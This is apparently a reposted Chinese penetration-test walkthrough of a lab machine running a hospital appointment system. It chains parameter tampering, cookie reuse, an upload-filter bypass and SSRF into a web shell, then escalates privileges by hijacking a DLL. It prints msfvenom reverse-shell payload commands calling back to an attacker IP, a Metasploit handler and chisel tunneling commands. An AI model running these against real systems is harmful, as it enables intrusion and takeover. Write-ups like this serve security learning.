本次渗透的主要流程为:通过越权漏洞,得到高权限的账号,复用cookie后登录到后台,利用SSRF配合文件上传成功getshell;登录主机后,逆向dll和exe文件,从中发现提权的重要信息,最后通过dll劫持成功完成提权。整个渗透过程曲折但充满惊喜,下面开始此次渗透之旅。
一、信息收集
nmap -sC -sV -sT -T4 -Pn 10.10.11.238
常规目录扫描后,并没有特别发现,于是在做一波子域名收集,发现一个子网站。
打开主网站看看,是一个病人挂号系统。
子网站是一个医生登录系统;
下面开始进行漏洞挖掘。
二、漏洞挖掘
越权访问
在主站上注册登录后如下;
翻了各项功能,都没有发现可利用的点,返回去细细看抓包的结果,有新的发现;
可以看到POST包里面有个Acctype参数是=1的,将它修改成2,然后发包
发现是doctor身份;
但经过测试这里并没有更多有用的功能。
联想到刚才的医生登录系统,看看能不能cookie登录。
先抓取到主站身份是医生的cookie;
然后直接访问子站医生登录系统,修改cookie为我们主站抓取到的cookie;
果然登录成功了。
因为后续要持续修改cookie,这里介绍个火狐浏览器的小工具,使用方便。
到这里就通过越权访问漏洞成功登入了医生的后台。
SSRF结合上传实现getshell
成功的进入后台,左边的选项栏里,Issue Prescriptions的选项里面有个url的表单,写进去本机ip,会读取内容。
本地开个http;
会读取我本机的文件;
尝试直接读取shell.aspx,结果失败了。
联想到SSRF,通过尝试,发现输入local的ip加8080端口,会出现一个表格;
抓个包看一下,发现会返回一个pdf的地址;
可以看到显示出一条读取的路径,猜测有LFI漏洞,继续看左边的选项栏,最底下是有个Upload report的选项,点进去是上传报告的。
上传后,然后再次访问Issue Prescriptions,会出现用户名;
Upload Report可以上传文件,存在校验只能上传pdf,但很容易通过添加pdf文件头绕过:
这里我挂上burp后网页经常卡死,后来我干脆就没用burp了,也达到了同样的效果。
先生成一个shell;
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.16.20 LPORT=6666 -f aspx -o shell.aspx
然后直接修改头部;
绕过上传检测成功,并看到了返回的地址;
Issue Prescription可以输入Prescription Link,这里我们输入url,可以进行SSRF,测试发现8080端口响应内容是此功能的内部访问入口,并且内部是通过aspx直接使用file参数,同时可以看到外部看不到的pdf路径:
至此思路有了,通过文件上传结合SSRF来getshell。利用msf来接收反弹;
use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_https set LHOST 10.10.16.20 set LPORT 6666 set ExitOnSession false exploit -j #"-j"选项表示以后台(background)模式执行漏洞利用。
成功反弹后在做下进程迁移,使通道更稳定;
至此getshell已经完成,下一步就是提权。
三、提权
Dll逆向
在c目录下看到inetpub目录,明显比较重要,进去递归看看,最后发现c:inetpubExaminationPanelExaminationPanelbin有很多dll,下载出来,其中ExaminationManagement.dll有东西。
是.net写的,那就用dnSpy来反编译看看;
根据此注册表路径查询得到key ,可以看到右边的显示有个路径Software\MedDigi,这是注册表的路径使用reg命令读取。
现在得到一个密码,看到C盘的Users目录有几个users名字,进行fuzz一下;
发现devdoc的用户能进;
还需要继续提权。
EXE逆向
查看下主机所开放的端口;
直接下载权限不够;
这也解释了之前对Dll文件逆向的重要性,只有通过从注册表里找到的密码切换用户后,才可以下载
ReportManagement.exe来进行分析。
IDA分析,找到libraries目录有操作,
下面又提到了externalupload
发现部分有关Administrator的信息
程序的大体意思就是调用libraries下的动态链接库来执行upload命令,且程序的权限是admin,
查看一下Libraries发现是空的;
icacls看一下此文件夹对应的各个用户权限,发现我们当前用户可写;
思路明朗了,dll劫持,写入一个恶意dll通过upload去触发执行。
Dll劫持
整体思路就是生成个恶意dll,上传,upload命令触发执行,得到Administrator:
首先进行下端口转发,方便于后续访问触发;
简单点有2种方法;
法1:chisel端口转发
chisel server --port 8888 --reverse
./chisel.exe client 10.10.16.20:8888 R:100:127.0.0.1:100
法2:也可以用之前的msf的meterpreter端口转发
meterpreter > portfwd add -l 100 -p 100 -r 127.0.0.1
然后是生成反弹的dll;
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.16.20 LPORT=443 -f dll -o externalupload.dll
最后是上传dll文件并触发反弹;
用msf来接收反弹的shell;
触发反弹;
至此,整个渗透过程结束
原文始发于微信公众号(疯猫网络):渗透测试 | 一次某医疗系统实战
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论